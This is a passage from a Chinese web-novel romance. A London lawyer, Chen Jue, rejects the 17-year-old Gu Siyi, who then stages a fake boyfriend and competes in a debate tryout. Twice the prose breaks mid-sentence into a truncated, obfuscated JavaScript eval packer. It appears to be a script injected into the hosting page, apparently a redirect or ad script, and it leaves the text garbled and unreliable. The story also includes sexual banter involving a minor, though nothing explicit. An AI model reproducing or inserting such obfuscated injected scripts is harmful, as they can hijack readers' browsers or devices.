楼上,陈玦站在淋浴间冲澡,把手机放在一旁,调低音量看了一会儿常规片,确认自己绝对正常方才把心放下。 一定是最近工作多,没时间纾解才造成了健身房的事。 他其实想跟顾思意谈谈的,却找不到好的由头。 每次质疑顾思意的性取向,顾思意要么否认,要么顾左而言他,逃避意图相当明显。 还是委婉点提醒他吧,陈玦打算给这小孩留点颜面。 睡了一觉起来天已经快黑了,陈玦是被一阵尖锐刺耳的“Beep! Beep! Beep!”声吵醒的,像是火警演习在他脑壳里炸开。 他穿着睡衣下楼。看见顾思意手忙脚乱地开窗通风,手里举着锅铲在挥舞厨房里的油烟。 陈玦捏着眉心,刚睡醒的嗓音低沉:“你在干什么?” 顾思意转头:“我炒菜……你快来帮忙啊别愣着,你像个年代文里没事干的窝囊前夫。” 厨房天花板上的烟雾报警器发了疯似的叫:“Emergency! Smoke detected! Please evacuate!” 陈玦叹了口气,走过去一边关掉火,一边打开厨房吊顶上的烟雾报警器控制盖,用手指长按了一下那颗红色按钮。报警器发出“滴——”一声后终于安静下来。 “你炒的是煤吗?“陈玦侧头看着他,“连报警器都要报警求救。” 顾思意举着锅铲,还试图挽回点尊严:“我只是……油放多了点,火大了点,我本来想吃油泼面的……”他做饭技术没那么糟糕,完全是因为心不在焉才造成的。 陈玦弯腰把黑乎乎的锅丢进洗碗机:“下次你炒菜,先通知我好躲起来。” 顾思意神经依旧紧绷,耳朵一跳一跳的,被警报声刺激得有点痛,说:“消防员不会来吧?” “不会,家里是独立报警器,”陈玦打开冰箱,“饿了?那我给你做三明治。” 顾思意大喊:“我不要!” 陈玦关上冰箱洗手:“那出去吃,油泼面?你搜搜附近有没有。” 顾思意搜了,说:“有家近的,评分3.1……算了吧,我不吃了,还是吃Pho吧。” 陈玦掏出手机:“我点外卖了,去坐着。” 等外卖的时间相当漫长,顾思意穿着家居服在沙发上吃零食看书,陈玦在书房看了会儿文件,两人看起来都把下午的事儿给忘了,没有人提。 吃完外卖,陈玦看见顾思意在投屏看辩论视频,才想起辩论赛的事,说:“你明晚要回去上课了,我现在有空,要陪你练习吗?” “练啊。”顾思意把视频暂停,“什么题目?” “你想打什么?” 顾思意说:“我都可以。” 陈玦想和他谈谈性取向,或者不成熟爱情观的事,于是打开程序告诉他随机,然后顺理成章地抽取到了一个提前设置好的辩题。 顾思意在舔手指上的薯片渣,屏幕上那一行辩题跳了出来: “本院认为,真爱是选择,而非命中注定。” 嗯…… 顾思意的眉头轻轻一拧……爱情题。 是他很少会练习的类型。 因为考的场合不多。 他望向面无表情的陈玦:“你设置的?” 陈玦说:“随机的,你要正方还是反方?” 顾思意:“我认为真爱既是选择,又是命中注定。” 陈玦说:“这是比赛。” 顾思意:“好吧,那你先选。我让你。” 陈玦:“我让你吧,选一个。” 顾思意:“不不不,我让你,我不是谦让!我是都可以!而且练习的目的是为了训练我,对我不利才是最好的方式。” 陈玦点头:“我正方。真爱是选择,不是命运。” 顾思意点头:“那么我方观点认为,真爱是命中注定,而非选择。请正方辩友先发言……不是,先十五分钟写稿,计时开始,不允许碰手机哦,碰了我打你手心。现在是九点十分,我们在九点二十五的时候开始,就这样。” 顾思意说完,从桌下抽了纸笔,开始思考。 陈玦也拿了笔,但没写,他靠在沙发上拿着水杯喝水,一只手转笔,低头看着顾思意趴在茶几上边思考边写稿,写了快一整张纸的思路。 十五分钟到了,顾思意先出声:“请对方辩友先发言。” 陈玦略抬眼,靠在沙发一侧,指尖还捏着水杯,声线淡而沉稳:“关于‘真爱’的定义,我们可以暂定为——在人生长周期中,唯一一段愿意为之全然付出、保持忠诚且深度共鸣的情感联结。” 他说完顿了一下,抬手在空中比了个“引号”的手势。 顾思意一直觉得这个手势很萌,像在模仿兔子,陈玦做出来也一样……怪可爱的。顾思意鼓着脸嘿嘿笑了。 陈玦不知道他在笑什么,道:“这是一种长期承诺,不是十五秒钟的心跳加速,不是初见时的荷尔蒙反应,更不是你做梦梦见了一个人。” 顾思意直接打断,一掌按在桌上:“反对!” 尽管他很不礼貌。 但陈玦做了个请的姿势,让给他发言。 顾思意拿起桌上的遥控器当话筒,表情认真道:“对方辩友,真爱不是数学题,不需要验算和论证。你说十五秒钟的心跳不算,那我问你,一辈子都没心跳过的人,能理解什么是爱吗?” 他继续:“你说荷尔蒙是幻觉,但人本来就是荷尔蒙构成的动物,我们为什么因为某个人的出现而心动,而不是别人?那种感觉骗不了人。” “还有梦——梦是潜意识最真实的投射,它不像逻辑那样伪装,反而最诚实!” 顾思意拿着刚写的稿子,语速很快,但情绪没有失控:“真爱未必是命运安排好的,但它一定来自本能——不是你计划的,是你避不开的,是你看见一个人,哪怕只有一秒,也知道这辈子会被他影响。” 他的每一句话都是对着陈玦说的。 很锋利,很刁钻,陈玦不疾不徐:“你说它来自本能,那本能就一定不可抗拒?一个人若真被一瞬的心动左右了一生,我只能说,他把冲动当作宿命,把怯懦当作浪漫。一辈子都没心跳过的,是死人,心跳不等于真爱,你去鬼屋心跳加快,那你是爱上npc了么。” 眼看着顾思意 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顾思意注视陈玦,整个人充满攻击性,眼睛明亮得惊人,锋利里掺着不能言说的感情:“对方辩友,你说真爱是选择,但我说——真爱,是偶然里藏着的注定。” 陈玦没有松动。 他承认顾思意的辩才出色,像只斗牛一样,但还差点。 两人打了几个来回,顾思意嘴巴都说干了,最后被他简直说得火大,因为陈玦几乎是冷静地说:“偶然也好,注定也罢,归根结底都是你自己没想清楚。” “我哪里没想清楚?”顾思意声线拔高,一把将玻璃杯拍在茶几上,仿佛要吵起来,“你为什么就不肯承认呢?” 陈玦微微扬眉:“承认什么?你所谓的命中注定的心动?年纪尚轻就把稍纵即逝的冲动当成人生主旋律,只会给别人徒增困扰。” 此言一落,空气都寂静了。 两人对视间,陈玦始终保持平静如水的气场。 半晌。 “……我会让你感到困扰吗?”顾思意突然问,声音轻得像一片羽毛。 陈玦顿了顿,答:“你的存在不会。” “可是我的感情会,对吗?”顾思意几乎是脱口而出。 话一出口他就后悔了,但已无法收回。 陈玦轻轻蹙眉,像被一把软刀扎了一下心脏。 垂下的眼帘间看不清情绪,他靠在沙发上,修长指节搭在扶手上轻轻敲了敲道:“对方辩友,我们还是回到辩题本身。真爱是一个美好的假设,可一时的依赖不能当做悸动。” 闻言,顾思意猛地攥紧了手指,指节因用力而发白。 他知道陈玦懂了,但选择了最理智和温和也最残忍的方式推开他。 “抱歉。”陈玦说。 “我知道了。”顾思意低下头,努力压抑着几乎要溢出的酸涩,总是惯性上扬的嘴角此时下撇着。 陈玦看着他这幅模样,心里并不好受。 可有些事必须当断则断,错的就是错的,不能让事情错得更厉害,要回到正轨。 所以陈玦放软了语调说:“只是一场辩论。没有对错,不必当真。” 他只希望暗示到位,让顾思意收敛。 于是陈玦抬起手,像是打算安慰顾思意,揉下他的脑袋。 可是顾思意闭了闭眼,直接把头别开,没让他碰。 陈玦此刻的温柔比冷漠更让他心碎。这种温柔里藏着永远无法企及的距离。 “……上次你问我喜欢男生吗,你想听什么答案?”顾思意忽然问。 陈玦微微蹙眉,侧头缄默地凝视他。 “我现在给你答案,是,我喜欢,我是同性恋,行了吧。”顾思意说完,没等他回答就站起来了,膝盖上的稿子随之飘落在地,“你满意了,你讨厌我吧!” 陈玦嘴唇一抿,克制的嗓音道:“思意,我没有讨厌你,你知道有些事是不可能的。” 顾思意最后看他一眼,起身就走:“知道了,不可能,不可能,我困了,我要睡觉了。” 他几乎是光脚跑上楼的,拖鞋都没穿。 陈玦没喊住他,眼底情绪有细微的波动。 他没想把事情搞成这样,顾思意反应居然这么大,是陈玦意料之外的。 顾思意也没想把事情搞成这样,他本来还想多装会儿。 刚刚纯粹是忍不住了,一上头就吵起来了,试图扭转任何不符合他想法的观点。 陈玦的话简直就像当头棒喝。 顾思意被他那几句拒绝搞得心累,耳朵也胀疼得厉害,他侧躺着戴上耳机,在床上挺尸了一会儿,忽然起身,开始收拾行李。 陈玦上楼的时候,听见阁楼传来不小的动静,楼上的小家伙好像情绪很暴躁。 他心情也有点烦,在露台抽了根烟,就下楼进书房看文件了。要争取的新客户,还有三百页的合同要看,他很忙,无暇顾及小男生在想什么。 早上八点,顾思意约的司机到了楼下,陈玦熬了个通宵从书房出来,看见他提着行李下来,才蹙眉:“你现在要回学校?” “我男朋友约我九点半图书馆见。”顾思意低头没看他,“我想现在回去。” 陈玦一下愕然:“……你哪来的男朋友?” 顾思意:“昨晚有的,”他胡说八道,鼻头忍着酸涩,推着行李往外走,“我昨晚同意的,我脱单了,走了!” 陈玦攥住了他的手腕,把他拉回来:“你哭了?” 15.Chapter 15 顾思意没哭。 准确来说,是忍着的,陈玦不问还好,一问简直憋不住了,眼圈鼻子都泛酸,他一边说没有,一边哽咽低头找纸擦眼睛。 陈玦沉默片刻,递过去纸巾:“怎么这么爱哭。” 顾思意红着眼睛把纸拽过去:“我什么时候爱哭了?你记错了,你连这个都不记得了,你心里没有关心过我。” 是,他不是经常哭。 在陈玦记忆中思意常常都是笑的,会委屈但很快就活泼起来了,生病了不哭,打针也不哭,唯一记得他大哭的一次是上学的时候剃头,学校要求男生剪平头,顾思意的头发被剃得太平了,把他气哭了。 陈玦低下头:“是我把你弄哭了吗?” “我生病了,”顾思意一脸委屈,“换季过敏……流眼泪症。” “哦。”陈玦面不改色,“新型传染病?要不要我帮你约GP?” 顾思意眼泪差不多擦干:“不用,你少管,我去学校了我男朋友会带我去。”说完就要推开他,“我车来了。” “让他等着。”陈玦没放开他,手掌握力增加,稳稳捏住顾思意的手腕,“你的感情是这么随便的事吗?你上哪儿找的男朋友?” 顾思意抬首:“昨晚你告诉我,真爱是选择,不是命中注定,我认为你说得有道理,比赛算你赢了行吧。” 陈玦:“那只是辩论,不代表我的观点。” 顾思意说:“好,那现在变成了我的观点,你管我在哪找的男朋友?他是我同学,”说完还补充,“他还比你帅。” 陈玦抬眉:“比我帅?” 这下陈玦可以判定他撒谎。 陈玦没拆穿,扭头望了眼灰色的窗外道:“外面在下雨,我送你回去。”他说,“顺便看一下你什么男朋友比我帅,知道你住这么远,还让你早上九点去图书馆见他。” “不要你送我,我车到了,待会儿给我一星了都赖你,我要走了!”顾思意小发雷霆,用力推他,但还是推不开,反而手掌被陈玦胸膛的体温烫了下手。瞬间上头脸红。 顾思意深吸口气:“你昨晚都那样说我了还不让我走吗?我不要脸的吗,我要回学校冷静一下。” 陈玦有点心疼,又觉得他样子好笑,到底是没长大…… 昨晚他没说什么重话,已经说的非常委婉了,怎么这么生气。 陈玦给他换了件防雨的冲锋衣,把顾思意送上车,弯腰道:“到学校给我打电话。”说完抽了张钞票通过车窗递给臭脸的Uber司机,“抱歉,刚刚我们在收拾行李,久等了,请不要给他打一星评分。” 后座的顾思意见状,吸了吸鼻子:“给这么多小费?你给我多好,要不别给了吧,一星就一星,我可以注销Uber再重新注册个新的。” “也给你。”陈玦把钱包里剩下的现金都抽出来,“书包打开下,我给你放里面。” 顾思意本来想拒绝的……但最近手头拮据,花钱的地方比想象得多,他不好意思管张疏桐要。 所以顾思意和他对视了一会儿,没出息地把书包打开了。 陈玦把现金放在他书包夹层里:“注意安全,要我陪你去学校吗?” 顾思意摇摇头,说了声谢谢:“我以后再还你。”然后低头把书包关上了。 他其实已经有点原谅陈玦了……谁叫陈玦是直男的,这不能怪他。人的性取向,本就是天生的,自己没道德试图掰弯人家。陈玦这样处理已经是最好的了,没有赶他走,像以前那样对他,明明那么讨厌同性恋,却说不讨厌他,照顾他,给他零花钱,甚至这样了还会隔着车窗框伸手进来摸他头…… 顾思意被他一摸,又吸了吸鼻子,眼圈红红的、湿漉漉的:“哥哥,你对我这么好,我会更喜欢你的,怎么办?” 陈玦:“你男朋友同意你这样吗?你该和我保持距离。” 其实伸手的时候陈玦只是看他哭有点受不了,不喜欢看他这样,但摸一下陈玦就有点后悔了。 不该这么纵容顾思意的。 顾思意之所以拎不清,就是因为陈玦太宠他了,今后该疏远些,不要再有暧昧的肢体接触。 顾思意低头抱着书包:“那好吧,我爱我男朋友去了,拜拜。” 陈玦“嗯”了一声:“到了打电话。” 车子发动,顾思意忍不住回望,只见陈玦撑着伞在雨里站了一会儿,很快转身回屋。 车窗上水滴连绵,心里的泪没止住,顾思意最后还是抽噎起来,一声声压抑,仿佛把胸腔都哭空了。 Uber司机从后视镜看了他几眼,又看了眼刚收到的小费,递了几张纸巾过去. 顾思意一边说谢谢,一边抽泣,一股脑把自己压抑的情感全部释放出来。 哭完后,顾思意好受多了,只是回到学校后,难免红着眼睛见人。 他不能再想陈玦了,明天又要比赛了。 - 周四下午,辩论社的礼堂里座无虚席。 顾思意坐在角落,听主持人宣布分组:“这场为期一小时的 Oxford Freshers’ Try-out 采用 BP 模式,各组准备时间十五分钟,不允许使用手机或参考资料。辩题将在 3 分钟后公布,计时从宣布辩题起开始,祝你们好运。” “你是Nathan?” 一个戴眼镜的学长走过来,居高临下地看着他,“你就是那个玫院长推荐的亚洲学生?” 顾思意起身,点点头,礼貌伸手:“你好。” 学长没有握手,而是随意翻了下手里的名单:“放心,我不跟你们抢。我是陪打的,系里让我们高年级带新生打打 try-out,顺便看看今年有没有好苗子。” 他像不在意地耸耸肩,嘴角漫不经心的笑:“当然,带不带得动就难说了。” 他顿了顿,又随手把 PM 的任务丢给了顾思意:“你就打一辩吧,按我写的稿子读就行。” 旁边另一个队友说:“听说你拿过亚太赛区的奖?第二名是吧?那边水平差挺多的。” 又来了。 顾思意微微眯起眼,收回了手:“亚太赛区的奖不值钱?很好,请问你们参加过哪些国际赛事,赢过几场?” 学长被怼得面色一僵,冷冷回道:“我去年校内辩论排名第八,你呢?” “第八……”顾思意淡淡地笑,“好厉害,差一点就是第七了。” 学长脸色一沉,旁边人赶紧拉开两人:“别吵了,快准备吧。” …… 比赛开始,顾思意简短陈词,主持人提示时间到,他随之坐下,全场掌声还算礼貌。 但轮到二辩学长时,他很快被反方二辩抓住漏洞追问,慌乱得满头大汗,几乎难以应对。 眼看学长陷入窘境,顾思意皱了皱眉,试图发言,却被对方拦下:“你已经发言过了,现在交叉质询,不归你说话。” 他只能暂时沉默。 场下响起了微妙的笑声。 三辩红着脸开口:“刚才对方说我们没有数据,但我们……我们——” 反方不依不饶:“所以你就是没有!才不敢拿出来,对吧?” 三辩彻底哑火。 二辩学长脸色苍白地翻找资料,却毫无用处。 顾思意没再等,他直接拿起话筒,打断了僵局:“你想要数据,先把你自己的数据解释清楚吧。” 对面:“什么?” 顾思意翻开刚写的稿,语气不急不躁:“方才你们反方二辩提到‘当地恐怖袭击事件减少了 30%’,我很好奇,减少跟哪一年比?2019 年?可那一年恰恰是当地恐怖组织内乱最激烈的时候。用峰值年份当对比基准,好意思说‘减少 30%’吗?” 现场有人低声轻笑。对手脸色微变:“那可能是阶段性波动——” 顾思意笑了:“波动?根据斯德哥尔摩国际和平研究所报告,去年恐怖袭击和暗杀事件反而比 2019 年增加 20%。你这‘减少’的数据,是不是倒着看了?” 一席话,引得全场笑声一片。 顾思意慢条斯理:“对方一直拿一组对比失衡的数据说事,让我们都误以为那 30% 是成就,却完全没告知,那是先把基数拔到历史最高峰。” 反方二辩:“你这属于偷换概念!” 顾思意耸肩,笑意不减,双手稳稳撑在辩论台上,目光如炬:“谁在偷换概念?还真不巧,我只是在把你们的数字摆正。如果这也算偷换,那就说明你自己对数字的定义不够严谨。你说我胡扯——对不起,你没给出任何新证据。你想攻击我的立场——对不起,你的立场本身就建立在一个‘错误基准’上,欢迎对方辩友拿出新证据,当然,如果你们连自己数据的正确基准都没搞清,就别急着质疑我们没有数字了。” 此话一出,现场顿时安静两秒,继而爆发出阵阵掌声。身旁二三四辩这时才回神,震惊地看向顾思意。 对手四位辩友张口结舌,再想反驳已无力。 评委席低声议论:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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或者说,是因为陈玦态度有点冷落,顾思意发好多条他才回个嗯,顾思意一赌气就回:“我跟男朋友去吃烛光晚餐了,拜拜。”附带挥手的表情。 跟着消息就锐减了许多。 他本想问陈玦,亚伦的案子打得怎么样了,昨天就打完了,今天他还没问…… 他其实想不到能给陈玦发什么了,怕发了,他也不理,搞得自己内耗。 到邱耀家里的时候,邱耀说太困了,脱了上衣要去洗澡,正在找充电器的顾思意一抬头,猛地发现他居然有漂亮的二头肌。 身材不错就是矮了点。 顾思意朝他勾手:“你过来一下。” 邱耀扭头:“干什么,你要先洗?” “不是,我拍个照,侧一点……别,别露脸。”邱耀一脸莫名,还是照做了,顾思意拉低曝光,调整角度,最后拍好叹口气,还是差了点。 邱耀挠头:“Nathan,你为什么要拍我裸/照?” 顾思意没抬头:“明天再给你解释,对我很重要,帮我,谢谢你。”他打开美图秀秀,开始疯狂给邱耀把二头肌P宽P大,给他短裤P个大鼓包,但顾思意怎么看怎么不自然,又招手把邱耀喊过来,让他在内裤里塞个袜子重新拍。 邱耀:“???” ……这对吗? 最后,顾思意P了半小时才满意,顺手发给陈玦: 【我男朋友比你强壮,晚安:)】 发完心跳都快了,他其实没指望陈玦回。 ……陈玦确实没理他。 收到的时候他才刚进浴室,准备洗澡,一看这张色调暗透着暧昧、还看不清脸的壮硕成年男性照片,他只觉得顾思意是找的网图,目的是为了圆那句“我有男朋友,他比你帅”的谎言。可笑,发这个能有什么用? 顾思意到底还是没长大的幼稚鬼。 所以陈玦没理他。 等洗完澡出来,他瞥了一眼手机,顾思意始终没有发第二条。 本来他打算就这么算了,可等他再看一眼,忽然发现了细节—— 那张照片的玻璃反光里,模糊地映着顾思意本人,穿着深蓝色睡衣,坐在床边,正拿着手机盯着屏幕。 ——不是网图。 他真找了男朋友?还是约的? 陈玦几乎没犹豫,电话就拨了出去。 16.Chapter 16 语音电话铃声响起时,顾思意刚进浴室准备洗澡。 他以为陈玦不会理他的,结果电话来了,顾思意慌了,一秒接起。 陈玦的声音响起:“在哪?” 顾思意似乎能感觉到他在生气…… 为什么生气?他是在意自己的吧,可能陈玦自己都不知道他在吃醋。顾思意心情又微妙地好了起来:“在男朋友家里啊。” 门外,传来另一个男人的声音: “Nathan,我给你找了条浴巾,你还没洗吧?” 噢!邱耀真是个好助攻。 顾思意高兴地回道:“没洗呢,对了你买套了吗?” 邱耀:“哈?” 顾思意提高音量:“你得买最大号的吧,我要超薄的螺旋纹的。” 邱耀:“???” 邱耀:“我草,你说什么呢??” 顾思意把手机通话静音,打开门伸手把浴巾拿进来,探出头对他道:“别问为什么,我这么做有这么做的道理,等下跟你解释。” 邱耀一脸惊悚,在浴室外面坐立难安:“他不会是基佬吧?老天,他不会对我有什么意思吧??” 邱耀急匆匆拉开衣柜,在睡衣外面穿上了外套,恨不得给自己裤,裆上个锁。 顾思意关上门,继续通话,看着自己的指甲对陈玦道:“抱歉,你刚刚说什么?” 陈玦声音没有太大起伏:“你在那个男的家里洗澡?准备和他上床?” 顾思意理所当然:“这是我男朋友啊。” 陈玦语气冰冷下来:“你还有一个月成年,你知不知道我随时能起诉那个跟你乱来的混蛋?” 顾思意反而笑起来:“是吗?陈律师,这点小把戏吓不住我吧?在英国16岁就合法,你难道忘了?” 陈玦沉默两秒,嗓音微哑地道:“我当然知道。但如果我真想整他,他这辈子在法律界就别想混了。” 顾思意说无所谓:“我男朋友又不混魔术圈,他老家有家业继承的。” 陈玦顿了一下,挑眉:“他新加坡人么?” 顾思意:“!” 他惊悚,他根本没说过,陈玦是怎么知道的?! 陈玦瞄了眼那张肌肉男照片,道:“你发的照片是亚裔,他刚喊你说的是普通话,但不标准。是你提过的那个新加坡同学?叫什么,邱耀?” 顾思意:“……” 顾思意没在他面前提过几次朋友的事,关于邱耀的名字,顾思意都记不清自己什么时候告诉他的,陈玦居然全记得。 陈玦听见他这边诡异沉默的反应,知道自己猜对了,靠在座椅上:“你太幼稚了,洗完澡就休息吧,别熬夜。” 顾思意一抿唇,还不服输:“怎么了,我同学就不能是我男朋友吗?我就只能有一个新加坡同学吗?你怎么这么天真,好笑。” 陈玦语气慢条斯理:“天真的是你,我想查他很容易,少用这种手段试探我。” “你说话真气人,”顾思意气急败坏了,蹲在浴室里喊,“又要像个老妈子一样管我,又说我做什么喜欢谁都不管我,又不回消息!你到底是管还是不管!” 电话里,陈玦的声音慢几秒钟传来:“管。” 顾思意委屈起来:“那你就爱我啊,我不想找别人。” 陈玦闻言,有些微妙的,心脏被针扎似的感受。他低声说:“我会管你,是因为你妈妈让我照顾你,没有其他原因。” “我妈?那不可能,我妈态度是只要我不和你搞就行。她不会让你照顾我,只会让你远离我。”顾思意反驳,“所以是你自己选择的要管我,我只要和你在一起。” “顾思意,”陈玦的语气更冷,“别试探我底线。你知道我不会跟你开这种玩笑,也别拿感情当儿戏。我永远也不可能和你在一起的。” 顾思意被他冷淡又明确的拒绝刺穿了心,难过地说:“陈玦,我讨厌你。” 陈玦:“那你讨厌吧,别再用这个话题绑架我。你在感情上不成熟,我没义务陪你玩游戏。” 顾思意低下头,声音更小了:“我不是在玩游戏……我也不会讨厌你。” 陈玦丝毫不给余地:“学会尊重别人的界限,别像个小孩,你马上十八岁了。” 顾思意被他说得无言以对,他吸了吸鼻子,最后低声认输:“……我知道了,我不用你教我,挂了。” 陈玦的声音这才缓和下来一些:“早点睡,别再乱跑了,晚安。” 顾思意闷闷不乐:“嗯。” 他冲了很久的热水澡,换上睡衣出去时,家里却空无一人,灯亮着。 顾思意喊:“邱耀?邱耀。哎?奇怪,人哪儿去了,不会真去买套了吧??” 他摸不着头脑,给邱耀打了个电话。问他:“我洗完了,你去哪儿了?” 邱耀那头沉默了好久,才艰难地开口:“Nathan,你跟我说实话,你是Gay?” 顾思意嗓音如常:“你才看出来,这么不明显的吗?” 邱耀:“呃……不是,我……呃,就……”他欲言又止,“呃”了半天。 顾思意坐在沙发上,叹口气:“你不会也歧视同性恋吧?” “不是!”邱耀马上否认,语气十分恐慌,“我只是……我,我不是,我直男,我没办法……真没办法和你搞基,你要喜欢,我带你去荷兰吧,我叔叔在阿姆斯特丹开妓、、院的,我马上让他给你安排八个、不、十个、十个鸭,你想怎么玩怎么玩,不不不,给你安排二十个吧?” 顾思意喷出来:“我对你没意思,你想什么?你有一米九吗?” 邱耀:“……那没有。” 顾思意:“八块腹肌有吗?” “……没。” 顾思意:“你有20厘米吗?” 邱耀气愤:“你这就太侮辱人了!” 顾思意惊讶:“你有?我真没看出来。” 邱耀没说话了。 顾思意摊手:“看吧,我的择偶标准你一样都不符合,你害怕个什么?而且我有喜欢的人了,刚把你吓到了吧?我打电话呢,故意那么说是为了气人呢,别放在心上,我还是你的好朋友。如果你害怕我,没关系,我可以现在回学校。” 他解释了一长串,在楼下披着羽绒服躲着的邱耀才勉强放下心来:“真的?” 好不容易他跟邱耀解释清楚。邱耀反应有点大,但最后还算是接受了。 顾思意没时间考虑友谊,他思考了一晚上,现在陈玦的态度非常明确,自己已经碰到红线,不接受就是不接受,可顾思意还想再试一次。 如果不行,那就算了吧。 第二天周五,上完早课顾思意就坐火车回切尔西了。 他当做无事发生,看见院子里干干净净,园丁刚打理过的样子,喂食器空空如也。 顾思意补了点玉米粒,看着来往的鸽子们叹息道:“我不在家的时候,陈玦连鸟食都不补充,他也太冷漠了,对小动物都这样,更别说对我了。” 说完又道:“其实呢,他是个很好的人,只是你们有时候太坏了,在他的衣服上拉屎,还干了不止一次。” 顾思意喃喃自语:“他这么讨厌你们,可能做的事就是不放食物,让你们别来了,但还没有拆掉喂食器。” 陈玦对他的策略,和对待鸽子一模一样。 陈玦估摸是加班,回来得很晚。 夜深了,窗外一片漆黑,顾思意躺在沙发上撑着眼皮等他,然而等听见开门声时,他下意识却决定装睡—— 他想看陈玦会是什么反应,给他来个毯子吗,还是会抱他去床上?会抱他吗…… 顾思意屏住呼吸躺在沙发上一动不动,因为戴着耳机,脚步声不算非常明显。 可顾思意依旧能感觉到陈玦过来了,低头注视自己,宽大的影子遮住了顶灯光线。 陈玦说了句:“别装睡了。” 顾思意仍然一动不动。 陈玦走远将灯光调暗,拿了张毯子过来说:“你喜欢那你睡沙发吧。” 说完就走。 顾思意按捺不住了,在沙发上哼哼两声,用含糊的声音道:“唔……睡醒了,回来了啊,哥哥,今天很忙吗?” 陈玦站在书房门口:“挺忙的。” 顾思意揉揉眼睛坐起身,毛毯从胸口滑落:“亚伦的案子怎么样了?胜诉了吗?” “嗯。”陈玦简短回答,“吃过晚饭了吗?” 顾思意说吃了,然后看着陈玦进了书房,他继续问:“那个强,奸犯被判刑了么?” 陈玦说判了。 顾思意忍不住来了句:“既然胜诉,那以后你和你当事人应该不会再有联系了吧?” “除非他有问题找我。”台灯的光亮映照在陈玦清晰分明的漂亮眉眼上,注意到顾思意走了过来,站在书房门外,一副欲言又止的模样。 陈玦抬首,挽起衬衫袖子靠在座椅上,道:“想说什么?” 顾思意身上穿着软糯的毛衣,手里拿着杯子,手指还微微蜷缩着道:“我们一星期没怎么说话了,你想不想我啊?” 陈玦看向他,露出来的胳膊肌肉线条紧绷,说:“没。” 顾思意没说话。昨晚陈玦说话已经够冷漠了……现在还要更可恶。 顾思意说:“没有的话,昨晚又为什么给我打电话。” 陈玦说:“留学生玩的乱,怕你出事。” 顾思意盯着他:“只是这样而已吗?” “嗯。”陈玦没有看他道,“没事的话,先去休息,我还有文件要看。” 顾思意抿抿唇,哦了一声上楼了。 陈玦关上书房门,捏了捏眉心。 关于怎么处理和顾思意之间的相处模式,他这一周都在思考。 他和顾思意之间的羁绊就注定了陈玦不能完全不管他。 思意自己来这边读书,心思单纯,脾气大,性子是能吃苦的,但陈玦不舍得他去吃苦。陈玦得管他得养他,是做不到置他于不顾的。 保持距离是必须的。之前那种相处方式完全不可取,只会让顾思意拎不清感情,不成熟的爱情观最终只会伤害他自己。 冷下来是个好办法。 所以,他的态度自然而然得转变。 翌日一早,顾思意起得比陈玦还早,天刚亮就趴在他床边看他,歪着脑袋像窗台前的小麻雀。 陈玦起来洗漱,说他是个偷窥狂,顾思意跟着进卫生间,低头说:“你晨、勃了吗?哇,起来这么高。” 陈玦刚睡醒,皱眉推他肩膀:“出去。” 顾思意被他关在了卫生间门外。 “小气鬼。” 他小声嘀咕了句:“又不是没见过。” 陈玦洗完脸出来,面颊还带着水珠。五官轮廓深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈玦还在办公室,闻言道:“他说不用,那就不用吧。” 又是一周过去。 顾思意半个月没来了,消息还停在那条合同上。半个月不来,也半个月没消息,像蒸发了一样。 陈玦想问他还有没有钱花,又忍住了,在没通知他的情况下找到他的卡号转了一笔过去。 顾思意可能是一开始没看见,什么消息也没有。 陈玦有点担心,但克制住了。只打电话托人确认了顾思意的出勤率是满分,说明他有每天准时上课。 过了两天,顾思意才主动发来消息:“你给我转账了?妈妈才给我打了生活费,我刚刚转回给你了。” 陈玦看着手机,靠在办公室的皮椅上打字:“生活费够花吗?” 顾思意回了条:“够的,谢谢了。” 十足的礼貌。 陈玦:“好。” …… 下午六点,陈玦回到家。 家里空无一人,气氛冷清。 可还有顾思意生活过的痕迹。 书架上他的书还在原处,衣柜里还挂着几件衣服,带着檀木留香珠的气味。阁楼的床上放着他的抱枕,书桌上还有一株顾思意用芒果核水培的绿植,生长得肆意妄为。 打开冰箱,顾思意买的桃子已经坏了。 陈玦不爱吃水果,他一直没碰。 窗台外来了一只灰鸽,停留在空空如也喂食器上,然后用翅膀暴躁扇陈玦的窗户,提醒他:面包呢? 陈玦不知道顾思意最近过的怎么样,他不再对自己报备日常生活了。 很听话,很遵守条款,但多少有些太听话了。 陈玦想问,最终也没问他放学要不要过来。 他感到很不习惯。 自从年少时来伦敦后,陈玦和家里的联系愈发减少。他和父亲不是很亲密的父子关系,打电话也十分保守。 他唯一能收到的思念,就是几乎每周一通的、来自顾思意的电话,有时候是视频,思意年纪小,会用软软的声音说:“陈玦,我好想你啊,你有没有想我呢?” “你要好好吃饭,听说伦敦不好吃的,会暴瘦,你要多吃点,祝你身体健康。” 他也很会说漂亮话,所以陈玦的母亲很喜欢思意。 陈玦靠在沙发上闭着眼睛想,记忆中的少年总是缠着他,叫他哥哥,不论陈玦怎么拒绝他让他不要这样,别当狗皮膏药,顾思意还是不听。 他们看起来分别了三四年时间,但期间一直保持联系,从未真正断联。 顾思意从来没有离开他的生活这么久。 有次陈玦出车祸醒来,家人不知道,顾思意也不知道,但他那天接到了顾思意的电话。 顾思意忧愁地说:“想你了,哥哥,你昨天怎么没有接我电话,我做了个噩梦,我好担心你,你生病了么?你有老实吃饭么?” 陈玦躺在病床上,非常诧异顾思意是怎么感觉到的。 心灵感应么? 他们没有血缘。 ……可是,就这样一个爱他的,离不开他的小孩。 现在却连周末都不愿意来了。也不发消息了,不打电话了。 陈玦只说让他保持距离,没让他玩消失。 难道顾思意是永远不打算过来了吗?